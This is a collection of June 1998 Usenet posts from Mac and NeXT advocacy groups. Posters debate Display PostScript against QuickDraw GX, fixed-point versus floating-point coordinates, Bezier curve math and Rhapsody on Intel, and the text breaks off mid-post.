<6l0dki$8th$1@ns3.vrx.net> <rex-0206981046500001@192.168.0.3>
<ldo-0406981939250001@a24.hn1.wave.co.nz>
In-reply-to: ldo@geek-central.gen.new_zealand's message of Thu, 04 Jun 1998 19:39:25 +1200
In article <ldo-0406981939250001@a24.hn1.wave.co.nz>,
ldo@geek-central.gen.new_zealand (Lawrence D¹Oliveiro) writes:
In article <rex-0206981046500001@192.168.0.3>,
rex@smallandmighty.com (Eric King) wrote:
>In article <6l0dki$8th$1@ns3.vrx.net>,
> maury@remove_this.istar.ca (Maury Markowitz) wrote:
>: In DPS you work in float and think in float.
>
>No you don't, and an OpenStep developer familiar with DPS'
>internals just said you didn't a few days ago. You think in float
>but have to remember you're really working in fixed. Try creating
>a font glyph that's 100000 x 100000 in DPS. The fundamental
>problem here is that most systems that run Postscript don't have
>FPUs, so they can't efficiently work with floating-point
>coordinates.
It seems to me that floating point is subject to the usual CISC
fallacy: putting a complex, slow operation into hardware still
makes it complex and slow. Fixed point is faster than floating
point, and stays that way no matter how much hardware you throw at
both.
So what? Finely crafted assembly is more efficient than finely
crafted C is more efficient than finely crafted C++ is more efficient
than finely crafted Java. Flip side, projects in assembly take longer
than those in C which take longer than those in C++ which take longer
than those in Java. I don't care _where_ you put the complex slow
operation - so long as you don't push it into my abstraction space.
[As a programmer I don't have to worry about the differences between
CISC and RISC, after all.]
Beyond that, in most performance sensitive situations, you're using
integers anyhow, so it doesn't make much difference. It's just in the
abstraction of things that having floating point is more useful than
fixed point. Fixed point is a compromise system, trading off
performance against a coordinate system which never _quite_ fits the
problem (if you're looking at integers, who needs the bits right of
the decimal? If you're looking at small values, who needs the bits
left of it?).
With 32-bit floats, you've got 24 bits of precision, versus a full 32
bits of precision for the same sized fixed-point values. But if
you're working with integers values only, floats give you 24-bit
integers, while fixed point gives you 16-bit integers. If you're
working with fractional values only, floats give you 24 bits of
precision, fixed point gives you 16.
[Forgive me if I mistook your posting's intent. If an eight year old
NeXTstation can drive a 8PPM print engine at it's rated speed, even on
complex pages, there's no way current embedded CPUs can't keep up,
with or without floating point hardware.]
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: Stephen Peters <portnoy@ai.mit.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 04 Jun 1998 10:54:03 -0400
Organization: Massachvsetts Institvte of Technology
Sender: portnoy@crispy-critters
Message-ID: <us5lnrdp69g.fsf@ai.mit.edu>
References: <petrichEu0x7u.4Ko@netcom.com> <B19BF3BC-1B260@206.165.43.122>
"Lawson English" <english@primenet.com> writes:
> The point is that you can create 2 (d-1)st degree Beziers that are
> identical in appearance to the dth degree Bezier.
>
> E.G., a cubic Bezier can be completely and exactly replaced by 2 quadratic
> Beziers which share a common end-point.
That's not what BBB is talking about here. You're describing a
piecewise combination of two quadratics, whereas BBB are talking about
an additive combination. See my other post for more details.
For more information about piecewise degree reduction in splines, you
might try Piegl's exellent "The NURBS Book, 2ed". You might also want
to reread the section of BBB describing piecewise combinations of
Bezier curves and how the necessity of C2 continuity will fix the
control points beyond what quadratics can handle easy.
--
Stephen L. Peters portnoy@ai.mit.edu
PGP fingerprint: BFA4 D0CF 8925 08AE 0CA5 CCDD 343D 6AC6
"Poodle: The other white meat." -- Sherman, Sherman's Lagoon
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 4 Jun 98 11:03:26
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun4110326@slave.doubleu.com>
References: <slrn6n65fj.sqf.sal@panix3.panix.com> <3573201E.BCA15AB1
<35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu>
<35744B61.1DDA4091@nstar.net> <slrn6n8ud7.jbt.sal@panix2.panix.com>
<357498E0.8F6C80B3@nstar.net> <slrn6napbm.5pt.sal@panix3.panix.com>
<35757CB5.6CDC6D14@nstar.net> <6l4j1r$ml5$1@news.xmission.com>
<357618CD.182EDB47@nstar.net> <6l5ku8$ml5$4@news.xmission.com>
<6l5n7t$cl9$2@sun27.hrz.tu-darmstadt.de>
In-reply-to: Christian Neuss's message of 4 Jun 1998 08:52:13 GMT
In article <6l5n7t$cl9$2@sun27.hrz.tu-darmstadt.de>,
Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam> writes:
don@misckit.com (Don Yacktman) wrote:
>Again, decent hardware for the time period, seeing as the slab I
>bought in 1991 is still quite usable today. Of course, if you set
>the same engineers to designing a best of breed system today,
>there are a lot of advances that they could leverage to make one
>heck of a cool system. I'd love to see what they would come up
>with (and I'm hoping that Rubenstein comes up with some cool
>toys)!
Back in black, I hope. By the way, there's a rumor I've heard <hmpf>
So long as it's not translucent... Bring back fins!
>// Christian Neuss "static typing? how quaint.."
I'm thinking Jurassic Park, with the 12-year-old geek saying "Sheesh,
this thing's statically typed, a five-year-old could fix it."
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: How about something better than what we have now?
Date: 4 Jun 98 11:26:30
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun4112630@slave.doubleu.com>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134>
<6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3>
<6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3>
<6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3>
<6l141h$ig9$1@news.cs.tu-berlin.de> <rex-0206981543010001@192.168.0.3>
<6l1pjm$s30$1@news.cs.tu-berlin.de> <rex-0206981940440001@192.168.0.3>
<ldo-0406981944340001@a24.hn1.wave.co.nz>
In-reply-to: ldo@geek-central.gen.new_zealand's message of Thu, 04 Jun 1998 19:44:34 +1200
In article <ldo-0406981944340001@a24.hn1.wave.co.nz>,
ldo@geek-central.gen.new_zealand (Lawrence D¹Oliveiro) writes:
In article <rex-0206981940440001@192.168.0.3>,
rex@smallandmighty.com (Eric King) wrote:
> What if you *need* double precision? All of the DPS calls
> specify floats.
and
>I don't think many people would be bothered by a 32k x 32k
>coordinate system constraint. It's just not that big of an issue
>for the vast majority of developers.
I recall a remark from Tom Dowdy, one-time lead GX engineer, that
GX fixed-point coordinates let you measure a distance of 30 feet
with a resolution down to the wavelength of red light. This should
be sufficient for most graphics needs.
Pity the same can't be said about Display PostScript...
But DPS can scale across the distance from 30 feet per pixel down to
pixels the size of atoms, without losing precision, and without
requiring the programmer to manually scale things. Under a fixed
point system, you would have to keep adjusting the quantum, and by
that I mean _you_, the programmer, would have to adjust the quantum
for all your coordinates.
Under DPS, you just do a scale,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 4 Jun 1998 11:46:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B19C3969-121196@206.165.43.122>
References: <6l5ts2$j3r$1@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B19C0AF3-726E1@206.165.43.122> "Lawson English" claimed:
>> GUIs, anyone?
>
> Everyone else has done a GUI.
>
But not at the time that Apple first did theirs.
>> What a maroon.
>
> Uh huh.
Apple implemented the first world-class, publicly available retained-mode
2D graphics API.
Management never understood it. Many/most developers never understood it.
End-users never understood what it was capable of so they never installed
it. There weren't any apps using it anyway.
With a GUI, the benefits are immediately obvious. WIth a retained-mode
graphics API, the benefits are only obvious to a few people and the rest
have to be shown directly.
Had Apple implemeted the MacOS 8 printing solution 3 years ago, we wouldn't
be having any debate about whether or not GX is useful, because end-users
would have found it stable enough to use and developers would have found an
installed-base large enough to bother developing for.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: How about something better than what we have now?
Date: Thu, 4 Jun 1998 12:09:04 -0700
Organization: Pacific Bell Internet Services
Message-ID: <6l6rlm$ncl$1@nnrp1.snfc21.pbi.net>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134><6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3><6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3><6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3><6l141h$ig9$1@news.cs.tu-berlin.de> <rex-0206981543010001@192.168.0.3><6l1pjm$s30$1@news.cs.tu-berlin.de> <rex-0206981940440001@192.168.0.3><ldo-0406981944340001@a24.hn1.wave.co.nz> <SCOTT.98Jun4112630@slave.doubleu.com>
cott Hess wrote in message ...
>But DPS can scale across the distance from 30 feet per pixel down to
>pixels the size of atoms, without losing precision, and without
>requiring the programmer to manually scale things. Under a fixed
>point system, you would have to keep adjusting the quantum, and by
>that I mean _you_, the programmer, would have to adjust the quantum
>for all your coordinates.
This is good to know when I finally break down and buy a postscript
billboard printer. (Though I'm still not clear where to buy 200 feet
wide paper to fit into my 200 foot wide printer.)
- Bill
William Edward Woody http://www.alumni.caltech.edu/~woody
The PandaWave http://www.pandawave.com
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 4 Jun 1998 14:17:31 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l6a9r$o4j$5@ns3.vrx.net>
References: <6l5uue$j3r$2@ns3.vrx.net> <B19C3D01-12E9D2@206.165.43.122>
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Cc: english@primenet.com
In <B19C3D01-12E9D2@206.165.43.122> "Lawson English" claimed:
> OK, so this was a valid problem 4-5 years ago. GX no longer does this,
But now GX is dead. That's about the same scale of problem. Unusable
before, dead now.
> Your complaints about GX are OLD, Maury.
I have new complaints too. Like it's dead.
> There may still be problems, but you have no idea what they would be since
> you haven't used it in years (1/2 decade?).
And won't now, for sure.
Maury
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have now?)
Date: 4 Jun 1998 20:18:42 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6l6vf2$ca0$1@news.cs.tu-berlin.de>
References: <B196AF2E-6ECC@206.165.43.133> <B196C2E5-5109F@206.165.43.133> <6kt6us$sd$1@news.digifix.com> <ldo-0406982006200001@a24.hn1.wave.co.nz> <6l5oe5$ebr$5@ns3.vrx.net>
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maury@remove_this.istar.ca (Maury Markowitz) writes:
[Lawrence wrote]
>> GX is the most elegant and compact solution to this problem that anyone
>> has ever come up with. (Go on, prove me wrong...)
> I suppose I should expect such a sophmotic "prove me wrong" comment from
>someone who's address is "geek-central".
Although coming from someone who's been proven wrong SOOOO many
times, it really is kind of funny.
Marcel
p.s.: Lawrence, thank you once again for making me come up
with a second, more efficient solution to the problem
you though was impossible to solve :-)
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 4 Jun 1998 20:11:48 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6l6v24$s9l$4@sun27.hrz.tu-darmstadt.de>
References: <slrn6n65fj.sqf.sal@panix3.panix.com> <3573201E.BCA15AB1 <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <slrn6n8ud7.jbt.sal@panix2.panix.com> <357498E0.8F6C80B3@nstar.net> <slrn6napbm.5pt.sal@panix3.panix.com> <35757CB5.6CDC6D14@nstar.net> <6l4j1r$ml5$1@news.xmission.com> <357618CD.182EDB47@nstar.net> <6l5ku8$ml5$4@news.xmission.com> <6l5n7t$cl9$2@sun27.hrz.tu-darmstadt.de> <SCOTT.98Jun4110326@slave.doubleu.com>
scott@doubleu.com (Scott Hess) wrote:
>In article <6l5n7t$cl9$2@sun27.hrz.tu-darmstadt.de>,
> Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam> writes:
..
> Back in black, I hope. By the way, there's a rumor I've heard <hmpf>
>
>So long as it's not translucent... Bring back fins!
Hear, hear!
>>// Christian Neuss "static typing? how quaint.."
>
>I'm thinking Jurassic Park, with the 12-year-old geek saying "Sheesh,
>this thing's statically typed, a five-year-old could fix it."
LOL :-)
(methinks, however, that libraries in statically typed languages
can be *awfully* hard to fix. For instance, threre was a certain
Framework, by... uh, never mind. :-)
Best regards, Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Thu, 04 Jun 1998 21:05:09 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35770C05.C356DEC5@nstar.net>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com> <356e6a40.0@news.camtech.net.au> <6kn7t6$npv$7@newsfep4.sprintmail.com> <rmcassid-2905981526310001@dante.eng.uci.edu> <slrn6n17mu.lsb.sal@panix3.panix.com> <3570A750.56BE9808@nstar.net> <slrn6n5jm1.2kj.sal@panix3.panix.com> <3572E0C5.BDEEDD46@nstar.net> <slrn6n65fj.sqf.sal@panix3.panix.com> <3573201E.BCA15AB1@nstar.net> <slrn6n6csr.a9v.sal@panix3.panix.com> <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <rmcassid-0206981358190001@dante.eng.uci.edu> <3574976D.A420646B@nstar.net> <19980603030356479711@[168.191.177.137]> <35757700.6C6076C0@nstar.net> <slrn6nde4d.79m.sal@panix3.panix.com>
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NNTP-Posting-Date: 4 Jun 1998 21:10:03 GMT
Salvatore Denaro wrote:
>
> >I don't know what I'm supposed to take from this...
>
> That he is one of the 99.99% of computer users that is not a techie.
I doubt it's anywhere near that high, depending on your definition of
'techie'. 'Techies' are common enough to spawn Wired, TechWeb, and other
vainly-named publications. They're also common enough to visit Tom's
Hardware Page in incredible numbers, not to mention AlternativeCPU,
AnandTech, and similar 'techie' websites. They're common enough to fuel
the Linux explosion, the Free Software explosion, and the growing
discontent toward Microsoft Windows.
Ironic, I think. It seems to me that people who spurn the 'techie' label
are actually moving to Windows in droves. It's only the 'alternative'
market, largely composed of the very 'techie' types you mention, who
take the time to explore *OS choices*.
> >I work in the UNIX workstation industry.
>
> That might be why you fail to see that 99.99% of users work "with" but
> not "on" computers.
The connection escapes me. I work "with" a UNIX workstation. As for
Microsoft Windows, when I use it I don't ever do anything 'techie' apart
from installing hardware, largely bought from retail centers that boast
huge non-'techie' customer visitations. The only place I do 'techie'
things is apart from the Microsoft Windows world, so I'm quite well
acquainted with what it means to work "with" a computer.
But any way I explain this, it's going to be made to look as if I'm too
well-acquainted with *something* or other. I've never been considered
'overqualified' for a conversation before; it's an odd feeling.
> They use it as a tool. They are not involved in the
> industry, except as consumers.
And as far as those people are consumer in the industry, I am, as well.
Like I said, I use Microsoft Windows as a consumer, I do professional
work as a developer. I have never involved my development work in this
conversation; why does it matter to you? I just can't understand what
you're trying to get at.
> Take a walk down to the marketing department, accounting department or
> anywhere else where non-techs use computers. Watch them for a while. I'm
> sure you'll understand his point.
No, I really don't. Rather, I understand the point, all too well. But I
don't see any evidence for it. I see plenty of these people (geez, I
used to support them) and all I see is a lot of people who are getting
work done. Guess which platform they're using?
MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: How about something better than what we have now?
Date: 4 Jun 1998 14:20:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B19C5D8F-1A901D@206.165.43.122>
References: <SCOTT.98Jun4112630@slave.doubleu.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
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Scott Hess <scott@doubleu.com> said:
>But DPS can scale across the distance from 30 feet per pixel down to
>pixels the size of atoms, without losing precision, and without
>requiring the programmer to manually scale things. Under a fixed
>point system, you would have to keep adjusting the quantum, and by
>that I mean _you_, the programmer, would have to adjust the quantum
>for all your coordinates.
With floating point, you lose resolution, the larger you make the image.
Fixed keeps a constant resolution, regardless of the image-size. This
shouldn't be a problem for floats in a real-world situation, but when we're
talking about atom-sized pixels, the converse is solar system-sized ones,
and you WILL have problems with resolution at that scale. (of course, you
can't even approach that size with fixed, but hey...)
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 5 Jun 1998 03:31:53 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6nepl9.ea4.sal@panix3.panix.com>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com> <356e6a40.0@news.camtech.net.au> <6kn7t6$npv$7@newsfep4.sprintmail.com> <rmcassid-2905981526310001@dante.eng.uci.edu> <slrn6n17mu.lsb.sal@panix3.panix.com> <3570A750.56BE9808@nstar.net> <slrn6n5jm1.2kj.sal@panix3.panix.com> <3572E0C5.BDEEDD46@nstar.net> <slrn6n65fj.sqf.sal@panix3.panix.com> <3573201E.BCA15AB1@nstar.net> <slrn6n6csr.a9v.sal@panix3.panix.com> <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <rmcassid-0206981358190001@dante.eng.uci.edu> <3574976D.A420646B@nstar.net> <19980603030356479711@[168.191.177.137]> <35757700.6C6076C0@nstar.net> <slrn6nde4d.79m.sal@panix3.panix.com> <35770C05.C356DEC5@nstar.net>
On Thu, 04 Jun 1998 21:05:09 +0000, Michael J. Peck <mjpeck@nstar.net> wrote:
>Salvatore Denaro wrote:
>> >I don't know what I'm supposed to take from this...
>> That he is one of the 99.99% of computer users that is not a techie.
>I doubt it's anywhere near that high, depending on your definition of
>'techie'. 'Techies' are common enough to spawn Wired, TechWeb, and other
>vainly-named publications. They're also common enough to visit Tom's
[clip]
I'm talking percents and you are talking abs numbers. I never said that
there is a shortage of techies, (our HR dept might disagree) only that
they are a minority group among computer users. 99.99% is a bit of an
exageration. I doubt that real percent of techs are more than 2% off
from that estimate.
Are you suggesting that this is not the case? And that most people who
use computers have a math/sci/eng background? That might have been the
case from the 50s to the late 70s, but since the advent of cheap small
systems (and GUIs) computers have moved outside the "glass houses" and
onto the desks and into the livingrooms of many non-techs.
>> That might be why you fail to see that 99.99% of users work "with" but
>> not "on" computers.
>The connection escapes me. I work "with" a UNIX workstation. As for
Are you a user or a sysadmin? If you are confused feel free to ask your
boss what he pays you for. :)
>> Take a walk down to the marketing department, accounting department or
>> anywhere else where non-techs use computers. Watch them for a while. I'm
>> sure you'll understand his point.
>No, I really don't. Rather, I understand the point, all too well. But I
>don't see any evidence for it. I see plenty of these people (geez, I
>used to support them) and all I see is a lot of people who are getting
>work done.
They are called users. They are normaly non-techies. Many don't fully
understand how the system works. Many don't understand the difference
between disk space and ram (they refer to "memory" like it is some magical
place where data lives)
> Guess which platform they're using?
Windows? (any why the hell should it matter? My point was that most users
are non-technical, and it has nothing to do with what OS/Apps they use.)
--
sal@panix.com
Salvatore Denaro
Date: Fri, 05 Jun 1998 12:34:18 +0930
From: "timothyp@tne.net.au" <timothyp@tne.net.au>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net>
<6javob$tpe$1@reader1.reader.news.ozemail.net>
<35590EE4.9858E645@unet.univie.ac.at>
<rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu>
<355A14F6.3A0CD0CB@unet.univie.ac.at>
<rkt1-1405980303590001@cu-dialup-0227.cit.cornell.edu>
<355A9E5E.2D3DB012@unet.univie.ac.at>
<rkt1-1505980212090001@cu-dialup-1206.cit.cornell.edu>
<6l6dtf$adf$5@ironhorse.plsys.co.uk> <6l72j0$6j4@nntp02.primenet.com>
Organization: Cybermarket Australia
Mime-version: 1.0
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Message-ID: <35775eac.0@news.camtech.net.au>
In article <6l72j0$6j4@nntp02.primenet.com> , John Jensen <jjens@primenet.com>
wrote:
>mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>: In <rkt1-1505980212090001@cu-dialup-1206.cit.cornell.edu> Tapella wrote:
>
>: > Well, last I saw NEXTSTEP was 5 years ago (not even sure what version) and
>: > at the time it seemed more cluttered and complicated than what I was used
>: > to (although at the time I was alot more of a computer newbie than I am
>: > now... which is pretty damn newbie :) Mac users would have a hard time
>: > getting around NEXTSTEP/Openstep properly I bet.
>
>: These are the same Mac-users that pride themselves in being the technical
>: elite -- earning 10% greater salaries than average PC users...?
>
>It's not a question of technical experience, it's personality. The Mac UI
>is for people who have shredded wheat and juice for breakfast every day.
>It's simple, bland, and good for you. At the other extreme, the huevos
>rancheros and french roast crowd is running Enlightenment.
Gee, I'm glad you boys aren't into stereotyping! Geez. I, like a lot of other
Mac users (but certainly not all or even a majority) didn't migrate to NeXT for
one reason. COST!!!!!!
Macs were outrageously priced at the time. NeXT was just unrealistic. OpenStep
helped but still the software price in OZ was more than a new PC. That is not
realistic. Apple needs to be sure that Rhapsody doesn't fall into this hole
also.
Tim Priest
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: How about something better than what we have now?
Date: 4 Jun 98 11:37:54
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun4113754@slave.doubleu.com>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134>
<6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3>
<6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3>
<6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3>
<6l141h$ig9$1@news.cs.tu-berlin.de> <rex-0206981543010001@192.168.0.3>
<6l1pjm$s30$1@news.cs.tu-berlin.de> <rex-0206981940440001@192.168.0.3>
<ldo-0406981944340001@a24.hn1.wave.co.nz>
<SCOTT.98Jun4112630@slave.doubleu.com>
In-reply-to: scott@doubleu.com's message of 4 Jun 98 11:26:30
In article <SCOTT.98Jun4112630@slave.doubleu.com>,
scott@doubleu.com (Scott Hess) writes:
In article <ldo-0406981944340001@a24.hn1.wave.co.nz>,
ldo@geek-central.gen.new_zealand (Lawrence D¹Oliveiro) writes:
I recall a remark from Tom Dowdy, one-time lead GX engineer,
that GX fixed-point coordinates let you measure a distance of 30
feet with a resolution down to the wavelength of red light. This
should be sufficient for most graphics needs.
Pity the same can't be said about Display PostScript...
But DPS can scale across the distance from 30 feet per pixel down to
pixels the size of atoms, without losing precision, and without
requiring the programmer to manually scale things. Under a fixed
point system, you would have to keep adjusting the quantum, and by
that I mean _you_, the programmer, would have to adjust the quantum
for all your coordinates.
Sigh, that was overly DPS specific. Obviously, the same scaling
advantages could benefit _any_ floating-point based system, and the
same scaling problem occurs on _any_ fixed-point system. So a
fixed-point Postscript definition (where the inputs are fixed point)
might have scaling problems, and a floating point interface to GX
might have additional scaling possibilities compared to the fixed
point interface.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: Stephen Peters <portnoy@ai.mit.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 04 Jun 1998 10:39:24 -0400
Organization: Massachvsetts Institvte of Technology
Sender: portnoy@crispy-critters
Message-ID: <us5n2btp6xv.fsf@ai.mit.edu>
References: <us5emx6vtvs.fsf@ai.mit.edu> <B19B732E-33558@206.165.43.48>
"Lawson English" <english@primenet.com> writes:
> Page 224 of "Killer Bs", section 10.6.1:
>
> "Before deriving the equations governing the arbitrary subdivision of
> Bezier curves, it will be shown tha the dth degree Bezier curve is a
> _convex cobination_ of a pair of (d-1)st degree Bezier curves. In
> particular, the curve for v[0], ... v[d] is a convext combination of curves
> for v[o],...v[d-1] and v[1],...v[d] with coefficients 1-u and u,
> respectively..."
>
> [proof follows]
Ah, I believe you did indeed read this wrong, or maybe you just
misunderstood what BBB is trying to say here. Effectively, they're
describing how you can create a higher-order curve by adding together
(in the arithmetic sense) lower-order curves. It does not describe a
method to connect lower-order curves in a piecewise fashion to create
the higher-order curve, which is what GX would need to emulate cubics
in a mathematically perfect fashion.
Effectively, BBB is saying that you can take a quadratic curve, and
then for every point along the curve, you can calculate the
contribution of another curve and use that to calculate the output
point. GX doesn't do that* -- it only lets you draw the quadratic
curve given three points. It won't let you modify the quadratic in
any way except through the 3x3 transformations.
Hope this helps.
* Probably because the speed hit is tremendous. If you're going to
let the system perform those calculations, it's faster to just handle
cubics or generalized NURBS natively.
--
Stephen L. Peters portnoy@ai.mit.edu
PGP fingerprint: BFA4 D0CF 8925 08AE 0CA5 CCDD 343D 6AC6
"Poodle: The other white meat." -- Sherman, Sherman's Lagoon
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: 4 Jun 1998 16:42:42 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l6iq2$4i6$1@ns3.vrx.net>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> <mNOSPAMroeder-0206981658270001@192.168.21.176>
<35749ed6.0@206.25.228.5> <mNOSPAMroeder-0306981149160001@192.168.21.176>
Mime-Version: 1.0
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Cc: mNOSPAMroeder@macromedia.com
In <mNOSPAMroeder-0306981149160001@192.168.21.176> Michael Roeder claimed:
> Let's see ... there are more games available for Windows than for the Mac,
> and even though I don't play computer games (I'm a hockey goalie; what do
> I need with computer games?) that means I should get a Windows box instead
> of a Mac? Is that what you mean?
If you did play games, yes. I do. It is.
Maury
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 4 Jun 1998 19:39:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B19CA85C-7D8C5@206.165.43.57>
References: <us5lnrdp69g.fsf@ai.mit.edu>
To: "Stephen Peters" <portnoy@ai.mit.edu>, "Loren Petrich"
<petrich@netcom.com>, "Henry McGilton" <henry@trilithon.com>
nntp://news.primenet.com/comp.sys.next.advocacy
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Stephen Peters <portnoy@ai.mit.edu> said:
>That's not what BBB is talking about here. You're describing a
>piecewise combination of two quadratics, whereas BBB are talking about
>an additive combination. See my other post for more details.
>
<blush>
>For more information about piecewise degree reduction in splines, you
>might try Piegl's exellent "The NURBS Book, 2ed". You might also want
>to reread the section of BBB describing piecewise combinations of
>Bezier curves and how the necessity of C2 continuity will fix the
>control points beyond what quadratics can handle easy.
Yar. I confused "piece-wise combination" with "convex combination" which is
an entirely different species.
nevermind
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Date: Thu, 04 Jun 1998 22:44:36 -0400
From: simpsonh@post.drexel.edu (Homer Simpson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Message-ID: <simpsonh-0406982244370001@ppp-5024.dca.net>
References: <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122>
Organization: Drexel University
In article <B19C3969-121196@206.165.43.122>, "Lawson English"
<english@primenet.com> wrote:
The most interesting thing about this whole thing was that over a year ago
when the purchase was made my perdiction was that Adobe would charge too
much as a royalty on the product, that was an easy call.
I for one am not impressed with what I have read about this "new" graphics
engine as it seems to be more of a "band aid" then a real solution. I
